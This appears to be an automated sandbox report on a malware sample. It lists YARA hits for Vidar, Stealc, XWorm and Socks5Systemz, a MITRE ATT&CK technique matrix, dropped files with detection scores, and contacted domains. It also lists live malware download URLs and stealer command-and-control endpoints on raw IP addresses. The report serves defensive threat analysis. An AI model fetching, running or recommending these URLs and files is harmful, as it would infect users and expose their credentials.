
File source: Process Memory Space: RegAsm.exe PID: 352, type: MEMORYSTR

Remote Access Functionality

Yara detected Socks5Systemz

Source: Yara match	File source: 0000001F.00000002.3075773502.0000000002D61000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3075712791.0000000002CBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: simplefreevideocutter32_64.exe PID: 7876, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000014.00000002.2601275716.0000000000C1A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2689647193.000000000109E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LfiXVL0FmEQ8Z73WgU_xbDtt.exe PID: 8004, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 352, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.41b1480.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40d2380.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.4186450.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40fd3b0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.lDkIjEVcMx3R04EqAu4plnem.exe.35a5570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40fd3b0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.41b1480.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40d2380.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.4186450.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.lDkIjEVcMx3R04EqAu4plnem.exe.35a5570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2094938512.00000000040FD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2094938512.00000000041B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2655648298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2023155571.00000000035A5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.3073511596.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2094938512.0000000004186000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2758927200.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2089299635.0000000003031000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: lDkIjEVcMx3R04EqAu4plnem.exe PID: 7988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9AvIIxRx9oZhX7WUPPobrACv.exe PID: 8036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 352, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7492, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: 43.2.cmd.exe.5ed00c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.2.cmd.exe.5ed00c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002B.00000002.2538372639.0000000005ED0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\jnpqblobe, type: DROPPED

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B530B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	20_2_6B530B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B458EA0 sqlite3_clear_bindings,	20_2_6B458EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B530D60 sqlite3_bind_parameter_name,	20_2_6B530D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B530C40 sqlite3_bind_zeroblob,	20_2_6B530C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4563C0 PR_Bind,	20_2_6B4563C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3E22D0 sqlite3_bind_blob,	20_2_6B3E22D0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Scripting	1 Abuse Elevation Control Mechanism	11 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	12 Native API	11 DLL Side-Loading	11 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Credential API Hooking	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Access Token Manipulation	1 Abuse Elevation Control Mechanism	11 Input Capture	13 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	21 Registry Run Keys / Startup Folder	512 Process Injection	2 Obfuscated Files or Information	1 Credentials in Registry	359 System Information Discovery	Distributed Component Object Model	1 Credential API Hooking	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	2 Software Packing	LSA Secrets	991 Security Software Discovery	SSH	11 Input Capture	125 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	21 Registry Run Keys / Startup Folder	1 Timestomp	Cached Domain Credentials	2 Process Discovery	VNC	1 Clipboard Data	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 DLL Side-Loading	DCSync	371 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	371 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	3 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	512 Process Injection	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
kqS23MOytx.exe	50%	ReversingLabs	Win32.Trojan.Nekark
kqS23MOytx.exe	100%	Avira	HEUR/AGEN.1332203
kqS23MOytx.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66c6def3f0546_sss[1].exe	100%	Avira	HEUR/AGEN.1323768
C:\ProgramData\jewkkwnf\jewkkwnf.exe	100%	Avira	HEUR/AGEN.1323768
C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	100%	Avira	HEUR/AGEN.1323768
C:\ProgramData\CTV Game Plugin 8.29.45\CTV Game Plugin 8.29.45.exe	100%	Avira	HEUR/AGEN.1315004
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66c6def3f0546_sss[1].exe	100%	Joe Sandbox ML
C:\ProgramData\jewkkwnf\jewkkwnf.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	100%	Joe Sandbox ML
C:\ProgramData\CTV Game Plugin 8.29.45\CTV Game Plugin 8.29.45.exe	100%	Joe Sandbox ML
C:\ProgramData\CTV Game Plugin 8.29.45\CTV Game Plugin 8.29.45.exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\jewkkwnf\jewkkwnf.exe	68%	ReversingLabs	Win32.Trojan.Privateloader
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\xprfjygruytr\etzpikspwykg.exe	88%	ReversingLabs	Win64.Trojan.Casdet
C:\Users\userJJDGIIDHJE.exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\userKKECFIEBGC.exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	68%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66c6def3f0546_sss[1].exe	68%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66d0c13d2f0ed_ImpressedHub[1].exe	11%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\PENDXGKW[1].exe	29%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\huna[1].exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\install[1].exe	38%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66cdfc485c6f9_instruction[1].exe	75%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66d0879618b6b_File[1].exe	11%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66ce00c2c1a2c_doz[1].exe	92%	ReversingLabs	Win32.Trojan.Casdet
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d0cd8fb6f7b_lgjfd[1].exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d0cd9755a01_sbwd[1].exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d0cd9a65b5d_vqwergf[1].exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66c6fcb30b9dd_123p[1].exe	88%	ReversingLabs	Win64.Trojan.Casdet
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66d08591035ef_AttachmentDaughters[1].exe	8%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66d0cd9a65b5d_vqwergf[1].exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Simple Free Video Cutter\is-06KMO.tmp	3%	ReversingLabs
C:\Users\user\AppData\Local\Simple Free Video Cutter\is-28PK6.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Simple Free Video Cutter\is-ETFGC.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Simple Free Video Cutter\is-F4EPM.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Simple Free Video Cutter\libeay32.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Simple Free Video Cutter\libssl-1_1.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Simple Free Video Cutter\ssleay32.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Simple Free Video Cutter\unins000.exe (copy)	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\PowerExpertNNT\PowerExpertNNT.exe	68%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-4TN3G.tmp\_isetup\_RegDLL.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-4TN3G.tmp\_isetup\_iscrypt.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-4TN3G.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-4TN3G.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-4TN3G.tmp\_isetup\_shfoldr.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\jnpqblobe	71%	ReversingLabs	ByteCode-MSIL.Backdoor.XWormRAT
C:\Users\user\AppData\Local\Temp\rtl120.bpl	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\vcl120.bpl	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\vclx120.bpl	0%	ReversingLabs
C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	11%	ReversingLabs
C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	29%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	92%	ReversingLabs	Win32.Trojan.Casdet
C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	8%	ReversingLabs
C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	68%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	88%	ReversingLabs	Win64.Trojan.Casdet
C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	11%	ReversingLabs
C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	75%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	38%	ReversingLabs	Win32.Trojan.Privateloader

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
api.myip.com	0%	Virustotal	Browse
steamcommunity.com	0%	Virustotal	Browse
ipinfo.io	0%	Virustotal	Browse
file-link-iota.vercel.app	8%	Virustotal	Browse
iplogger.org	0%	Virustotal	Browse
stadiatechnologies.com	9%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.microsoft	0%	URL Reputation	safe
http://crl.microsoft	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
http://185.215.113.100	100%	URL Reputation	malware
http://www.innosetup.com/	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	0%	URL Reputation	safe
http://www.symauth.com/cps0(	0%	URL Reputation	safe
https://ipinfo.io/	0%	URL Reputation	safe
http://www.symauth.com/rpa00	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://185.215.113.100/e2b1563c6670f193.php	100%	URL Reputation	malware
https://aka.ms/dotnet-warnings/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://t.me/iyigunl	100%	Avira URL Cloud	malware
http://147.45.44.104/revada/66c6fcb30b9dd_123p.exe	100%	Avira URL Cloud	malware
http://46.8.231.109DHJEorm-data;	0%	Avira URL Cloud	safe
http://185.196.8.214/	0%	Avira URL Cloud	safe
http://www.vmware.com/0	0%	Avira URL Cloud	safe
http://147.45.44.104/malesa/66d08591035ef_AttachmentDaughters.exe#1	0%	Avira URL Cloud	safe
https://aka.ms/msal-client-apps	0%	Avira URL Cloud	safe
https://aka.ms/adal-net-broker-redirect-uri-android	0%	Avira URL Cloud	safe
http://185.196.8.214/	13%	Virustotal		Browse
https://t.me/iyigunl	3%	Virustotal		Browse
http://www.vmware.com/0	0%	Virustotal		Browse
http://147.45.44.104/malesa/66d08591035ef_AttachmentDaughters.exe#1	23%	Virustotal		Browse
http://147.45.44.104/revada/66c6fcb30b9dd_123p.exe	23%	Virustotal		Browse
https://aka.ms/msal-net-enable-keychain-access	0%	Virustotal		Browse
https://aka.ms/adal-net-broker-redirect-uri-android	0%	Virustotal		Browse
https://aka.ms/msal-client-apps	0%	Virustotal		Browse
https://www.iobit.com/en/privacy.phpOpenU	0%	Virustotal		Browse
https://aka.ms/msal-net-enable-keychain-access	0%	Avira URL Cloud	safe
https://www.iobit.com/en/privacy.phpOpenU	0%	Avira URL Cloud	safe
https://file-link-iota.vercel.app:80/ffernifre.exesZ0	100%	Avira URL Cloud	malware
https://94.130.188.148/nss3.dll	100%	Avira URL Cloud	malware
http://147.45.44.104/prog/66c6def3f0546_sss.exeC:	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space$	100%	Avira URL Cloud	malware
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space#	100%	Avira URL Cloud	malware
http://147.45.44.104/prog/66c6def3f0546_sss.exe	100%	Avira URL Cloud	malware
http://schemas.xmlsoap.org/soap/http	0%	Avira URL Cloud	safe
http://31.41.244.9/dezo/huna.exeC:	100%	Avira URL Cloud	phishing
https://sso2urn:ietf:wg:oauth:2.0:oob	0%	Avira URL Cloud	safe
https://94.130.188.148/nss3.dll	0%	Virustotal		Browse
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space$	24%	Virustotal		Browse
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space#	24%	Virustotal		Browse
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spaceS	100%	Avira URL Cloud	malware
https://aka.ms/msal-net-up	0%	Avira URL Cloud	safe
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	100%	Avira URL Cloud	malware
http://147.45.44.104/prog/66c6def3f0546_sss.exe	25%	Virustotal		Browse
http://schemas.xmlsoap.org/soap/http	0%	Virustotal		Browse
http://154.216.17.134/Edge/PENDXGKW.exeC:	0%	Avira URL Cloud	safe
http://147.45.68.138:80	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spaceS	24%	Virustotal		Browse
http://185.196.8.214/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df1	0%	Avira URL Cloud	safe
https://94.130.188.148/	100%	Avira URL Cloud	malware
https://aka.ms/msal-net-up	0%	Virustotal		Browse
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	19%	Virustotal		Browse
http://147.45.44.104/yuop/66d0879618b6b_File.exe#xin#	100%	Avira URL Cloud	malware
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	0%	Avira URL Cloud	safe
https://94.130.188.148/	0%	Virustotal		Browse
http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe	100%	Avira URL Cloud	malware
http://147.45.68.138:80	11%	Virustotal		Browse
http://www.autoitscript.com/autoit3/J	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.php/	100%	Avira URL Cloud	malware
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dllZ	100%	Avira URL Cloud	malware
https://github.com/dotnet/wpf	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.phpGjLg	100%	Avira URL Cloud	malware
https://iplogger.org:443/1nhuM4.js	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe#space	100%	Avira URL Cloud	malware
http://147.45.44.104/yuop/66d0879618b6b_File.exe#xin#	24%	Virustotal		Browse
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	Avira URL Cloud	safe
http://147.45.44.104/malesa/66d08591035ef_AttachmentDaughters.exe#1lll	0%	Avira URL Cloud	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17.exe	0%	Avira URL Cloud	safe
https://file-link-iota.vercel.app:80/ffernifre.exes	100%	Avira URL Cloud	malware
http://147.45.44.104/prog/66d0c13d2f0ed_ImpressedHub.exe#upus	100%	Avira URL Cloud	malware
http://185.196.8.214/vhT	0%	Avira URL Cloud	safe
http://176.113.115.33/ssl/install.exeC:	0%	Avira URL Cloud	safe
https://94.130.188.148/vcruntime140.dll	100%	Avira URL Cloud	malware
http://www.winimage.com/zLibDllm_object	0%	Avira URL Cloud	safe
http://147.45.44.104/malesa/66cdfc485c6f9_instruction.exe#upus	0%	Avira URL Cloud	safe
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll(	100%	Avira URL Cloud	malware
http://147.45.44.104/prog/66d0cd8fb6f7b_lgjfd.exeia	0%	Avira URL Cloud	safe
http://147.45.44.104/revada/66c6fcb30b9dd_123p.exeC:	0%	Avira URL Cloud	safe
https://ipinfo.io/https://ipgeolocation.io/::	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKeybhttp://schemas.xmlsoap.org/ws/2005/02/trus	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66c6def3f0546_sss.exeDt	0%	Avira URL Cloud	safe
http://195.10.205.48/	0%	Avira URL Cloud	safe
https://aka.ms/adal_token_cache_serializationdFailed	0%	Avira URL Cloud	safe
https://ipinfo.io:443/widget/demo/8.46.123.33	0%	Avira URL Cloud	safe
http://147.45.44.104/malesa/66ce00c2c1a2c_doz.exe#meneK	100%	Avira URL Cloud	malware
https://www.digicert.c	0%	Avira URL Cloud	safe
https://94.130.188.148/softokn3.dll	100%	Avira URL Cloud	malware
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spacece	100%	Avira URL Cloud	malware
http://147.45.44.104/malesa/66ce00c2c1a2c_doz.exe#meneR	100%	Avira URL Cloud	malware
http://147.45.44.104/yuop/66d0879618b6b_File.exe#xineB	100%	Avira URL Cloud	malware
http://schemas.xmlsoap.org/wsdl/Xhttp://schemas.xmlsoap.org/ws/2004/09/policyfhttp://schemas.microso	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spaceC:	100%	Avira URL Cloud	malware
http://147.45.44.104/malesa/66cdfc485c6f9_instruction.exe#upusC:	0%	Avira URL Cloud	safe
https://aka.ms/adal_token_cache_serialization	0%	Avira URL Cloud	safe
https://iplogger.org/	0%	Avira URL Cloud	safe
https://aka.ms/msal-net-iwa	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.myip.com	172.67.75.163	true	false	0%, Virustotal, Browse	unknown
steamcommunity.com	23.210.122.61	true	true	0%, Virustotal, Browse	unknown
ipinfo.io	34.117.59.81	true	false	0%, Virustotal, Browse	unknown
bftexwm.com	185.196.8.214	true	true		unknown
file-link-iota.vercel.app	76.76.21.241	true	false	8%, Virustotal, Browse	unknown
iplogger.org	104.26.3.46	true	false	0%, Virustotal, Browse	unknown
stadiatechnologies.com	95.164.119.162	true	true	9%, Virustotal, Browse	unknown
gCmUfnfZJOKMjo.gCmUfnfZJOKMjo	unknown	unknown	true		unknown
kKUNXsFvNT.kKUNXsFvNT	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://147.45.44.104/revada/66c6fcb30b9dd_123p.exe	true	23%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://147.45.44.104/malesa/66d08591035ef_AttachmentDaughters.exe#1	false	23%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://94.130.188.148/nss3.dll	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://147.45.44.104/prog/66c6def3f0546_sss.exe	false	25%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://94.130.188.148/	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe	false	Avira URL Cloud: malware	unknown
http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe#space	false	Avira URL Cloud: malware	unknown
https://94.130.188.148/vcruntime140.dll	true	Avira URL Cloud: malware	unknown
http://147.45.44.104/malesa/66cdfc485c6f9_instruction.exe#upus	false	Avira URL Cloud: safe	unknown
https://94.130.188.148/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://46.8.231.109/	true	Avira URL Cloud: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	true	Avira URL Cloud: malware	unknown
http://147.45.44.104/malesa/66ce00c2c1a2c_doz.exe#mene	false	Avira URL Cloud: malware	unknown
https://api.myip.com/	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66d0c13d2f0ed_ImpressedHub.exe	false	Avira URL Cloud: malware	unknown
http://bftexwm.com/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c446db22f31df92d8838ed12a666d307eca743ec4c2b07b5296692396387f711c7ee91	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
